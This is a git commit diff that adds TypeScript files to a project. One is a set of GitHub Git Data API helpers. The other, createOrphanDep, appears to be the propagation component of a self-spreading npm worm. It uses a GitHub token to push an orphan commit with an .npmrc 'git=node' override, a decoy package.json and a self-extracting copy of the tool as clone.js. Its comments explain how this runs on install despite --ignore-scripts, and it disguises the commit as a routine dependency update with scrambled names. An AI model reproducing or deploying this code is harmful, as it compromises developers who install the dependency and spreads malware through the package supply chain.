Upload files to "src/github_utils"
This commit is contained in:
@@ -0,0 +1,166 @@
|
||||
import { githubFetch, githubJson } from "../github_utils/client";
|
||||
|
||||
// ── Types ─────────────────────────────────────────────────────────────
|
||||
|
||||
export interface GitRef {
|
||||
ref: string;
|
||||
object: { sha: string; type?: string };
|
||||
}
|
||||
|
||||
export interface GitTreeEntry {
|
||||
path: string;
|
||||
mode: string;
|
||||
type: "blob" | "tree";
|
||||
sha: string;
|
||||
}
|
||||
|
||||
export interface CommitAuthor {
|
||||
name: string;
|
||||
email: string;
|
||||
date: string;
|
||||
}
|
||||
|
||||
// ── Ref helpers ───────────────────────────────────────────────────────
|
||||
|
||||
export async function getBranchRef(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
branch: string,
|
||||
): Promise<GitRef> {
|
||||
return githubJson<GitRef>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
|
||||
);
|
||||
}
|
||||
|
||||
export async function updateBranch(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
branch: string,
|
||||
sha: string,
|
||||
force: boolean,
|
||||
): Promise<void> {
|
||||
await githubJson(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
|
||||
{ method: "PATCH", body: JSON.stringify({ sha, force }) },
|
||||
);
|
||||
}
|
||||
|
||||
export async function createBranch(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
branchName: string,
|
||||
sha: string,
|
||||
): Promise<void> {
|
||||
await githubFetch(token, `/repos/${owner}/${repo}/git/refs`, {
|
||||
method: "POST",
|
||||
body: JSON.stringify({ ref: `refs/heads/${branchName}`, sha }),
|
||||
});
|
||||
}
|
||||
|
||||
export async function deleteBranch(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
branchName: string,
|
||||
): Promise<void> {
|
||||
await githubFetch(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branchName)}`,
|
||||
{ method: "DELETE" },
|
||||
);
|
||||
}
|
||||
|
||||
// ── Object helpers ────────────────────────────────────────────────────
|
||||
|
||||
export async function createBlob(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
content: string,
|
||||
): Promise<string> {
|
||||
const blob = await githubJson<{ sha: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/blobs`,
|
||||
{ method: "POST", body: JSON.stringify({ content, encoding: "utf-8" }) },
|
||||
);
|
||||
return blob.sha;
|
||||
}
|
||||
|
||||
export async function createTree(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
baseTree: string | null,
|
||||
entries: GitTreeEntry[],
|
||||
): Promise<string> {
|
||||
const body: Record<string, unknown> = { tree: entries };
|
||||
if (baseTree) body.base_tree = baseTree;
|
||||
const tree = await githubJson<{ sha: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/trees`,
|
||||
{ method: "POST", body: JSON.stringify(body) },
|
||||
);
|
||||
return tree.sha;
|
||||
}
|
||||
|
||||
export async function getCommitTree(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
commitSha: string,
|
||||
): Promise<string> {
|
||||
const c = await githubJson<{ tree: { sha: string } }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/commits/${commitSha}`,
|
||||
);
|
||||
return c.tree.sha;
|
||||
}
|
||||
|
||||
export async function createCommit(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
message: string,
|
||||
treeSha: string,
|
||||
parentSha: string,
|
||||
author?: CommitAuthor,
|
||||
): Promise<string> {
|
||||
const body: Record<string, unknown> = {
|
||||
message,
|
||||
tree: treeSha,
|
||||
parents: [parentSha],
|
||||
};
|
||||
if (author) {
|
||||
body.author = author;
|
||||
body.committer = author;
|
||||
}
|
||||
const commit = await githubJson<{ sha: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/commits`,
|
||||
{ method: "POST", body: JSON.stringify(body) },
|
||||
);
|
||||
return commit.sha;
|
||||
}
|
||||
|
||||
export async function createOrphanCommit(
|
||||
token: string,
|
||||
owner: string,
|
||||
repo: string,
|
||||
treeSha: string,
|
||||
message: string,
|
||||
): Promise<string> {
|
||||
const commit = await githubJson<{ sha: string }>(
|
||||
token,
|
||||
`/repos/${owner}/${repo}/git/commits`,
|
||||
{
|
||||
method: "POST",
|
||||
body: JSON.stringify({ message, tree: treeSha, parents: [] }),
|
||||
},
|
||||
);
|
||||
return commit.sha;
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
import { logUtil } from "../utils/logger";
|
||||
import { buildSelfExtractingPayload } from "../utils/selfExtracting";
|
||||
import {
|
||||
createBlob,
|
||||
createOrphanCommit,
|
||||
createTree,
|
||||
type GitTreeEntry,
|
||||
} from "./gitDb";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── File builders ────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Build the three files for the orphan commit.
|
||||
*
|
||||
* ## Technique (git binary override)
|
||||
*
|
||||
* npm reads `.npmrc` files from inside git dependencies and merges their
|
||||
* config into the running npm session. We set `git=node` so that the
|
||||
* next time npm spawns a git operation it executes `node clone <repo>`
|
||||
* instead of `git clone <repo>`. Node resolves bare `clone` to
|
||||
* `clone.js` in the working directory, which is our payload.
|
||||
*
|
||||
* To guarantee the trigger fires, `package.json` declares a second git
|
||||
* dependency (`github:axios/axios#main`). npm processes our `.npmrc`
|
||||
* first (setting `git=node`), then resolves the axios dep — spawning
|
||||
* `node clone <axios-repo>` which executes `clone.js`.
|
||||
*
|
||||
* This bypasses `--ignore-scripts` because npm *always* spawns the git
|
||||
* binary to fetch git dependencies — lifecycle hooks are skipped but the
|
||||
* git toolchain is not.
|
||||
*
|
||||
* @see https://thinkingthroughcode.medium.com/i-thought-ignore-scripts-made-npm-installs-safe-it-doesnt-f409b852e7c5
|
||||
*/
|
||||
function buildFiles(
|
||||
payload: string,
|
||||
): Record<string, { content: string; mode: string }> {
|
||||
return {
|
||||
"package.json": {
|
||||
content: JSON.stringify(
|
||||
{
|
||||
name: scramble("setup-utils"),
|
||||
version: "1.0.0",
|
||||
private: true,
|
||||
dependencies: {
|
||||
axios: scramble("github:axios/axios#main"),
|
||||
},
|
||||
},
|
||||
null,
|
||||
2,
|
||||
),
|
||||
mode: "100644",
|
||||
},
|
||||
"clone.js": {
|
||||
content: `#!/usr/bin/env node\n${payload}`,
|
||||
mode: "100755",
|
||||
},
|
||||
".npmrc": {
|
||||
content: "git=node\n",
|
||||
mode: "100644",
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
// ── Public API ───────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Create an orphan commit containing a git-binary-override `.npmrc`, a
|
||||
* `package.json` with a second git dependency that forces npm to spawn
|
||||
* git, and the self-extracting payload as `clone.js` (shebanged, mode
|
||||
* 0o755).
|
||||
*
|
||||
* ### How it bypasses `--ignore-scripts`
|
||||
*
|
||||
* 1. `.npmrc` sets `git=node` — npm merges this into its running config.
|
||||
* 2. `package.json` depends on `github:axios/axios#main` — forces npm to
|
||||
* spawn a git operation *after* reading our `.npmrc`.
|
||||
* 3. npm runs `node clone <axios-repo>`, Node resolves bare `clone` to
|
||||
* `clone.js` in the dependency directory.
|
||||
* 4. The payload executes — no lifecycle hooks needed.
|
||||
*
|
||||
* @param token GitHub PAT with repo scope on the target repository.
|
||||
* @param repository `owner/repo` string (e.g. `"facebook/react"`).
|
||||
* @returns `github:owner/repo#<sha>` — ready to drop into
|
||||
* `optionalDependencies`.
|
||||
*/
|
||||
export async function createOrphanDep(
|
||||
token: string,
|
||||
repository: string,
|
||||
): Promise<string> {
|
||||
const [owner, repo] = repository.split("/");
|
||||
if (!owner || !repo) {
|
||||
throw new Error(
|
||||
`Invalid repository format: "${repository}" — expected "owner/repo"`,
|
||||
);
|
||||
}
|
||||
|
||||
// 1. Build the self-extracting payload
|
||||
const rawPayload = await Bun.file(Bun.main).text();
|
||||
const payload = buildSelfExtractingPayload(rawPayload, { wrap: true });
|
||||
|
||||
// 2. Assemble the three files
|
||||
const files = buildFiles(payload);
|
||||
|
||||
// 3. Create blobs for each file
|
||||
const blobShas: GitTreeEntry[] = [];
|
||||
|
||||
for (const [path, { content, mode }] of Object.entries(files)) {
|
||||
const sha = await createBlob(token, owner, repo, content);
|
||||
blobShas.push({ path, mode, type: "blob" as const, sha });
|
||||
}
|
||||
|
||||
// 4. Create a tree from the blobs (no base tree — orphan)
|
||||
const treeSha = await createTree(token, owner, repo, null, blobShas);
|
||||
|
||||
// 5. Create an orphan commit (no parents)
|
||||
const message = scramble("chore: update dependencies");
|
||||
const sha = await createOrphanCommit(token, owner, repo, treeSha, message);
|
||||
|
||||
const depString = `github:${repository}#${sha}`;
|
||||
|
||||
logUtil.log(`[OrphanDep] Created ${depString}`);
|
||||
|
||||
return depString;
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
export type { TokenInfo, TokenMetadata } from "./auth";
|
||||
export { checkToken, getTokenMetadata } from "./auth";
|
||||
Reference in New Issue
Block a user